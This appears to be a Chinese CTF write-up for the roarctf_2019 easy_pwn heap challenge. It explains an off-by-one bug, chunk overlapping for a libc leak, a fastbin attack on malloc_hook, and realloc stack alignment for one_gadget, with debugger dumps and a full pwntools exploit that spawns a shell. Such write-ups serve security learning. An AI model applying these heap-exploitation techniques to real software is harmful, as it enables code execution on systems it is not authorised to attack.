# 这次的题比较难搞,但是攻击点挺单一,过程中里到了 2 个手法

# 环境以及保护

1
2
3
4
5
6
7
giantbranch@ubuntu:~/Desktop/buuoj/roarctf_2019_easy_pwn$ checksec --file=roarctf
[*] '/home/giantbranch/Desktop/buuoj/roarctf_2019_easy_pwn/roarctf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开了,那么我们只能考虑劫持 malloc_hook, 或者 IO_FILE。这里我还是优先考虑了劫持 mallochook,使用 onegadget。还是因为 buuoj 不给 libc,虽然 ubuntu16 的 docker 容器中 glibc 通常为 ubunt11.2 或者 ubuntu11.3,但是这里还是不行,猜测可能是 11.1 的版本,这里就不过多的猜测了,泄露版本永远都不是重点和难点。

# 题目主要代码

1
2
3
4
5
6
7
8
9
10
int menu()
{
puts("Note system");
puts("1. create a note");
puts("2. write note");
puts("3. drop the note");
puts("4. show the note");
puts("5. exit");
return printf("choice: ");
}

其实每次看这个 menu 的页面,就可以知道重点关注什么地方了。这个题呢,还是毕竟规矩的创建,编辑,输出,删除。考虑几个点有没有溢出,有没有 UAF.

很遗憾这个题并没有太多的机会,只有 1 字节溢出,free 后指针清空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
__int64 sub_C46()
{
__int64 result; // rax
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
int size; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+10h] [rbp-10h]

result = 0LL;
for ( i = 0; i <= 15; ++i )
{
result = *((unsigned int *)&inuse + 4 * i);
if ( !(_DWORD)result )
{
printf("size: ");
size = getnum(v2);
if ( size > 0 )
{
if ( size > 0x1000 )
size = 0x1000;
v4 = calloc(size, 1uLL);
if ( !v4 )
exit(-1);
*((_DWORD *)&inuse + 4 * i) = 1;
*((_DWORD *)&Size + 4 * i) = size;
list[2 * i] = v4;
printf("the index of ticket is %d \n", (unsigned int)i);
}
return (unsigned int)i;
}
}
return result;
}

__int64 __fastcall read_content(__int64 a1, int size)
{
__int64 v3; // [rsp+18h] [rbp-18h]
ssize_t v4; // [rsp+20h] [rbp-10h]

if ( !size )
return 0LL;
v3 = 0LL;
while ( size > v3 )
{
v4 = read(0, (void *)(v3 + a1), size - v3);
if ( v4 > 0 )
v3 += v4;
}
return v3;
}

__int64 __fastcall read_size(int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1; // off_by_one
else
LODWORD(result) = a1;
return (unsigned int)result;
}

//write_note
__int64 sub_E82()
{
int v1; // [rsp+Ch] [rbp-14h]
int size; // [rsp+Ch] [rbp-14h]
int idx; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]

printf("index: ");
size = getnum(v1);
idx = size;
if ( size >= 0 && size <= 15 )
{
size = *((_DWORD *)&inuse + 4 * size);
if ( size == 1 )
{
printf("size: ");
size = getnum(1);
v4 = read_size(*((unsigned int *)&Size + 4 * idx), (unsigned int)size);// 存在1字节溢出
if ( size > 0 )
{
printf("content: ");
size = read_content(list[2 * idx], v4); // 不能输入少于size的内容
}
}
}
return (unsigned int)size;
}

//drop note
__int64 sub_F8E()
{
int idx; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]

printf("index: ");
idx = getnum(v3);
v4 = idx;
v2 = idx;
if ( idx >= 0LL && idx <= 15LL )
{
v4 = *((int *)&inuse + 4 * idx);
if ( v4 == 1 )
{
*((_DWORD *)&inuse + 4 * idx) = 0;
*((_DWORD *)&Size + 4 * idx) = 0;
free((void *)list[2 * idx]);
list[2 * v2] = 0LL; // 不存在uaf
}
}
return v4;
}

__int64 __fastcall output_content(__int64 a1, int a2)
{
__int64 v3; // [rsp+18h] [rbp-18h]
ssize_t v4; // [rsp+20h] [rbp-10h]

if ( !a2 )
return 0LL;
v3 = 0LL;
while ( a2 > v3 )
{
v4 = write(1, (const void *)(v3 + a1), a2 - v3);
if ( v4 > 0 )
v3 += v4;
}
return v3;
}

__int64 delete()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+0h] [rbp-10h]
int v3; // [rsp+4h] [rbp-Ch]

printf("index: ");
v2 = getnum(v1);
v3 = v2;
if ( v2 >= 0 && v2 <= 15 )
{
v2 = *((_DWORD *)&inuse + 4 * v2);
if ( v2 == 1 )
{
printf("content: ");
v2 = output_content(list[2 * v3], *((unsigned int *)&Size + 4 * v3));
}
}
return (unsigned int)v2;
}

代码实现的逻辑还算比较哇民政,没有太大的问题。由于题目保护全开了,操作空间就很小。唯一的漏洞还非常明显 if (a2 - a1 == 10)
LODWORD (result) = a1 + 1; 其中 a1 是我们创建时输入的 size,a2 是我们进行 write 时输入的 size,经典的手法创建时是不进行 16 字节对齐,卡最大的堆块界限,0x88,write 时只要输入的时 0x88+10 ,就可以实现 1 字节的溢出。

# 解题:

# 泄露地址

因为题目在申请堆块的时候,使用的是 calloc,会对返回的堆块进行初始化。所以我们必须构造的时堆块的重叠或者重复使用

这里我们只着重介绍两种手法的实现,就不具体展示利用过程了,因为流程比较固定;

1
2
3
4
5
6
7
8
add(0x80)
add(0x88) #泄露
add(0x68)
add(0x80)

free(0)
write(2,0x68+10,b'\x00'*0x61+p64(0x190)+b'\x90')
free(3)

这个是经典的套路了,利用 unsortedbins 的双链表绕过 unlink 的检查,成功的 chunk0 合并到 topchunk,作为新的 topchunk, 这个时候 chunk1 仍在使用,但是被包含进了 topchnk,那么我们下面如果重复申请 add (0x88),add (0x18), 就可以在 bss 的链表中两次利用了,人为的 uaf,这里的话呢,我写的 0x18 比较小,可以写大点,比如 0x88,然后重复申请后,有两个地方的指针指向这块区域,释放一个,用另外一个进行泄露(因为 0x91 的大小又被写进了 unsortedbins)这样有了 libc 的基地址。通过上述流程我们就是实现了人为的 uaf。如果我们话存在一个 0x70 大小的堆块的重复利用,就可以进行 fastbinsattack,将 malloc_hook-0x23 写入 fastbins,然后就可以可以申请出来实现 malloc_hook 的劫持。

这个操作就很经典了,劫持 malloc_hook 后查看栈的结构,寻找满足要求的 onegadegt

# 瞎操作

我在第一次进行 unlink 操作时,因为不仅修改了后面堆块的堆头,还修改了假 tophcunk 的堆头,同样想利用 unsortedbin 的双链表绕过检查,但是失败了

1
2
3
4
5
6
7
8
9
10
11
12
add(0x18)
add(0x80)
add(0x18)
add(0x80)
free(1)

write(0,0x18+10,p64(0)*3+b'\xb0')
write(2,0x18+10,p64(0)*2+p64(0xb0)+b'\x91')

free(3)

add(0x88)

但是,却误打误撞的绕过了 unsortedbins 的检查,如果释放 1,然后修改他的 size(0x90—>0xb0), 期望能够切割堆块 (0x90),然后剩下的 0x20 会被加入对应的 bins,这里会报错我还没有搞清楚原因,报错的信息大概是 prevsize 不合法。

然后我的瞎操作就饶过了一系列的检查,虽然没能构造新的 topchunk, 但是 chunk1 的紧邻堆块 2 是我们在使用的,当我们 add (0x88),会对其进行切割,剩下的 0x20 会进入 unsortedbin 的双链表,而这剩下的就是我们使用的 chunk2,这样 chunk 的 fd,bk 指针指向 main_arena,这样既可以完成了泄露

1
2
3
4
5
6
7
8
9
unsortedbin
all: 0x55ad680a80b0 —▸ 0x7f39d1cdab78 (main_arena+88) ◂— 0x55ad680a80b0
smallbins
empty
largebins
empty
pwndbg> x/2gx 0x55ad680a80b0
0x55ad680a80b0: 0x0000000000000000 0x0000000000000021
pwndbg>

然后申请出来

1
2
3
4
0x55ad67ba8040:	0x0000001800000001	0x000055ad680a8010
0x55ad67ba8050: 0x0000008800000001 0x000055ad680a8030
0x55ad67ba8060: 0x0000001800000001 0x000055ad680a80c0
0x55ad67ba8070: 0x0000001000000001 0x000055ad680a80c0

就可以重复利用,我们利用 chunk1 来修改 chunk 的 size(0x21---->0x71),这样当 chunk2 释放后门进入 fastbin, 利用 chunk3 修改 fd 指针,就把 malloc_hook 链接入 fastbins。free chnnk 进入 fastbins 时,要保证 chunk 的下一个 chunk 合法,但是只会检查 size,这里我直接申请一个堆块绕过,后面申请到 aimed_chunk 就比较简单了。

最后就是这个 onegadegt 了,很不幸这里没有合适的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
RAX  0xcafebabedeadbeef
RBX 0x0
RCX 0x10
RDX 0x11
RDI 0x10
RSI 0x55fafa1d3cd1 ◂— mov qword ptr [rbp - 0x10], rax
R8 0x0
R9 0x0
R10 0x0
R11 0x7f55c10ef6e0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
R12 0x55fafa1d39a0 ◂— xor ebp, ebp
R13 0x7ffc37dd49f0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x10
RSP 0x7ffc37dd48a0 ◂— 0x7
RIP 0x7f55c0ffd028 (calloc+680) ◂— call rax
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f55c0ffd028 <calloc+680> call rax

0x7f55c0ffd02a <calloc+682> xor esi, esi
0x7f55c0ffd02c <calloc+684> test rax, rax
0x7f55c0ffd02f <calloc+687> mov rdx, rbp
0x7f55c0ffd032 <calloc+690> mov rdi, rax
0x7f55c0ffd035 <calloc+693> jne calloc+656 <0x7f55c0ffd010>

0x7f55c0ffd037 <calloc+695> xor eax, eax
0x7f55c0ffd039 <calloc+697> jmp calloc+312 <0x7f55c0ffceb8>

0x7f55c0ffd03e <calloc+702> nop
0x7f55c0ffd040 <calloc+704> mov rax, qword ptr [rip + 0x33ee31]
0x7f55c0ffd047 <calloc+711> mov dword ptr fs:[rax], 0xc
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffc37dd48a0 ◂— 0x7
01:00080x7ffc37dd48a8 ◂— 0x0
02:00100x7ffc37dd48b0 —▸ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r15
03:00180x7ffc37dd48b8 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp
04:00200x7ffc37dd48c0 —▸ 0x7ffc37dd49f0 ◂— 0x1
05:00280x7ffc37dd48c8 —▸ 0x55fafa1d3cd1 ◂— mov qword ptr [rbp - 0x10], rax
06:00300x7ffc37dd48d0 ◂— 0x7fa1d39a0
07:00380x7ffc37dd48d8 ◂— 0x100000010
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7f55c0ffd028 calloc+680
f 1 55fafa1d3cd1
f 2 7fa1d39a0
f 3 100000010
f 4 100000006
f 5 3bdcd6e58a0f900
f 6 7ffc37dd4910
f 7 55fafa1d4258
f 8 137dd49f0
f 9 3bdcd6e58a0f900
f 10 55fafa1d42c0
Program received signal SIGSEGV (fault address 0x0)

pwndbg> stack 40
00:0000│ rsp 0x7ffc37dd48a0 ◂— 0x7
01:0008│ 0x7ffc37dd48a8 ◂— 0x0
02:0010│ 0x7ffc37dd48b0 —▸ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r15
03:0018│ 0x7ffc37dd48b8 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp
04:0020│ 0x7ffc37dd48c0 —▸ 0x7ffc37dd49f0 ◂— 0x1
05:0028│ 0x7ffc37dd48c8 —▸ 0x55fafa1d3cd1 ◂— mov qword ptr [rbp - 0x10], rax
06:0030│ 0x7ffc37dd48d0 ◂— 0x7fa1d39a0
07:0038│ 0x7ffc37dd48d8 ◂— 0x100000010
08:0040│ 0x7ffc37dd48e0 ◂— 0x100000006
09:0048│ 0x7ffc37dd48e8 ◂— 0x3bdcd6e58a0f900
0a:0050│ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r15
0b:0058│ 0x7ffc37dd48f8 —▸ 0x55fafa1d4258 ◂— jmp 0x55fafa1d42ad
0c:0060│ 0x7ffc37dd4900 ◂— 0x137dd49f0
0d:0068│ 0x7ffc37dd4908 ◂— 0x3bdcd6e58a0f900
0e:0070│ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r15
0f:0078│ 0x7ffc37dd4918 —▸ 0x7f55c0f98840 (__libc_start_main+240) ◂— mov edi, eax
10:0080│ 0x7ffc37dd4920 —▸ 0x7ffc37dd49f8 —▸ 0x7ffc37dd6080 ◂— './roarctf'
... ↓
12:0090│ 0x7ffc37dd4930 ◂— 0x1c1104708
13:0098│ 0x7ffc37dd4938 —▸ 0x55fafa1d41ec ◂— push rbp
14:00a0│ 0x7ffc37dd4940 ◂— 0x0
15:00a8│ 0x7ffc37dd4948 ◂— 0x21d72319ef57efa6
16:00b0│ 0x7ffc37dd4950 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp
17:00b8│ 0x7ffc37dd4958 —▸ 0x7ffc37dd49f0 ◂— 0x1
18:00c0│ 0x7ffc37dd4960 ◂— 0x0
... ↓
1a:00d0│ 0x7ffc37dd4970 ◂— 0x75dab899f897efa6
1b:00d8│ 0x7ffc37dd4978 ◂— 0x748956d06527efa6
1c:00e0│ 0x7ffc37dd4980 ◂— 0x0
... ↓
1f:00f8│ 0x7ffc37dd4998 —▸ 0x7ffc37dd4a08 —▸ 0x7ffc37dd608a ◂— 0x52454d554e5f434c ('LC_NUMER')
20:0100│ 0x7ffc37dd49a0 —▸ 0x7f55c1569168 —▸ 0x55fafa1d3000 ◂— jg 0x55fafa1d3047
21:0108│ 0x7ffc37dd49a8 —▸ 0x7f55c135280b (_dl_init+139) ◂— jmp 0x7f55c13527e0
22:0110│ 0x7ffc37dd49b0 ◂— 0x0
... ↓
24:0120│ 0x7ffc37dd49c0 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp
25:0128│ 0x7ffc37dd49c8 —▸ 0x7ffc37dd49f0 ◂— 0x1
26:0130│ 0x7ffc37dd49d0 ◂— 0x0
27:0138│ 0x7ffc37dd49d8 —▸ 0x55fafa1d39c9 ◂— hlt

我们来看看 onegadegt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 -l3
/var/lib/gems/2.3.0/gems/one_gadget-1.6.2/lib/one_gadget/fetchers/base.rb:45: warning: Insecure world writable dir /home/giantbranch in PATH, mode 040777
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xcd173 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL

0xcd248 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf03b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0xf67f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL

这个时候我们尝试 realloc_hook,mallo_hook 复写为 realloc,realloc_hook 写为 onegadget ,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0xcafebabedeadbeef
RBX 0x10
RCX 0x10
RDX 0x7f31162cc02a (calloc+682) ◂— xor esi, esi
RDI 0x10
RSI 0x55fc4e86dcd1 ◂— mov qword ptr [rbp - 0x10], rax
R8 0x0
R9 0x0
R10 0x0
R11 0x7f31163be6e0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
R12 0x55fc4e86dcd1 ◂— mov qword ptr [rbp - 0x10], rax
R13 0x7ffedb4e1860 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x10
RSP 0x7ffedb4e16a0 ◂— 0x0
RIP 0x7f31162cb95d (realloc+589) ◂— call rax
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f31162cb95d <realloc+589> call rax

0x7f31162cb95f <realloc+591> mov rbp, rax
0x7f31162cb962 <realloc+594> jmp realloc+213 <0x7f31162cb7e5>

0x7f31162cb967 <realloc+599> nop word ptr [rax + rax]
0x7f31162cb970 <realloc+608> mov rax, qword ptr [rip + 0x33f501]
0x7f31162cb977 <realloc+615> xor ebp, ebp
0x7f31162cb979 <realloc+617> mov dword ptr fs:[rax], 0xc
0x7f31162cb980 <realloc+624> jmp realloc+213 <0x7f31162cb7e5>

0x7f31162cb985 <realloc+629> nop dword ptr [rax]
0x7f31162cb988 <realloc+632> lea rax, [r15 - 8]
0x7f31162cb98c <realloc+636> mov rbp, rbx
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffedb4e16a0 ◂— 0x0
... ↓
02:00100x7ffedb4e16b0 —▸ 0x7f311681c700 ◂— 0x7f311681c700
03:00180x7ffedb4e16b8 ◂— 9 /* '\t' */
04:00200x7ffedb4e16c0 —▸ 0x7f311660c6a3 (_IO_2_1_stdout_+131) ◂— 0x60d780000000000a /* '\n' */
05:00280x7ffedb4e16c8 —▸ 0x7ffedb4e1860 ◂— 0x1
06:00300x7ffedb4e16d0 ◂— 0x0
... ↓
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7f31162cb95d realloc+589
f 1 7f31162cc02a calloc+682
f 2 55fc4e86dcd1
f 3 74e86d9a0
f 4 100000010
f 5 100000006
f 6 54a26cc778083a00
f 7 7ffedb4e1780
f 8 55fc4e86e258
f 9 1db4e1860
f 10 54a26cc778083a00
Program received signal SIGSEGV (fault address 0x0)
pwndbg> stack 20
00:0000│ rsp 0x7ffedb4e16a0 ◂— 0x0
... ↓
02:0010│ 0x7ffedb4e16b0 —▸ 0x7f311681c700 ◂— 0x7f311681c700
03:0018│ 0x7ffedb4e16b8 ◂— 9 /* '\t' */
04:0020│ 0x7ffedb4e16c0 —▸ 0x7f311660c6a3 (_IO_2_1_stdout_+131) ◂— 0x60d780000000000a /* '\n' */
05:0028│ 0x7ffedb4e16c8 —▸ 0x7ffedb4e1860 ◂— 0x1
06:0030│ 0x7ffedb4e16d0 ◂— 0x0
... ↓
08:0040│ 0x7ffedb4e16e0 ◂— 0x10
09:0048│ 0x7ffedb4e16e8 —▸ 0x55fc4e86d9a0 ◂— xor ebp, ebp
0a:0050│ 0x7ffedb4e16f0 —▸ 0x7ffedb4e1860 ◂— 0x1
0b:0058│ 0x7ffedb4e16f8 ◂— 0x0
... ↓
0d:0068│ 0x7ffedb4e1708 —▸ 0x7f31162cc02a (calloc+682) ◂— xor esi, esi
0e:0070│ 0x7ffedb4e1710 ◂— 0x7
0f:0078│ 0x7ffedb4e1718 ◂— 0x0
10:0080│ 0x7ffedb4e1720 —▸ 0x7ffedb4e1760 —▸ 0x7ffedb4e1780 —▸ 0x55fc4e86e2c0 ◂— push r15
11:0088│ 0x7ffedb4e1728 —▸ 0x55fc4e86d9a0 ◂— xor ebp, ebp
12:0090│ 0x7ffedb4e1730 —▸ 0x7ffedb4e1860 ◂— 0x1
13:0098│ 0x7ffedb4e1738 —▸ 0x55fc4e86dcd1 ◂— mov qword ptr [rbp - 0x10], rax
pwndbg>

这里 rsp+0x30 为 0,就满足了一个 onegadget.

有时候 realloc 仍旧无法满足,那么我们尝试 realloc 偏移,realloc 调栈 的原理在于其调用 realloc_hook 前,会有多个 push 操作,利用这个可以是默写栈空间经过操作偏移后,满足要求。

# exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
#context.log_level = 'debug'
#r=remote('node4.buuoj.cn',29287)
r=process("./roarctf")
elf = ELF("./roarctf")
#libc = ELF("./libc-2.23.so")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def ch(i):
r.sendlineafter("choice: ",str(i))

def add(size):
ch(1)
r.sendlineafter("size: ",str(size))

def write(idx,size,content):
ch(2)
r.sendlineafter("index: ",str(idx))
r.sendlineafter("size: ",str(size))
r.sendafter("content: ",content)

def show(idx):
ch(4)
r.sendlineafter("index: ",str(idx))

def free(idx):
ch(3)
r.sendlineafter("index: ",str(idx))

gdb.attach(r,'b calloc')
add(0x18)
add(0x80)
add(0x18)
add(0x80)
free(1)

write(0,0x18+10,p64(0)*3+b'\xb0')
write(2,0x18+10,p64(0)*2+p64(0xb0)+b'\x91')

free(3)

add(0x88)



show(2)
r.recvuntil("content: ")
addr = u64(r.recv(6).ljust(8,b'\x00'))
offset = 0x7f99de237b88-0x7f99dde73000
libc_base = addr -(0x7f99de237b88-0x7f99dde73000)+0x10

malloc_hook = libc_base+0x3c4b10
print("malloc_hook : ",hex(malloc_hook))
#onegadget = 0xcafebabedeadbeef
onegadget = 0x4527a+libc_base
realloc = libc_base+ libc.symbols['realloc']
print("main_arena : ",hex(addr))

add(0x10)

add(0x40)
add(0x18)

write(1,0x88+10,p64(0)*17+b'\x71')

free(2)

write(3,0x10,p64(malloc_hook-0x23)*2)

payload = b'\x00'*(0x13-8)+p64(onegadget)
payload +=p64(realloc)
payload += b'\x00' * (0x60-len(payload))
add(0x60)


add(0x60)



write(6,0x60,payload)

add(0x10)
r.interactive()
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal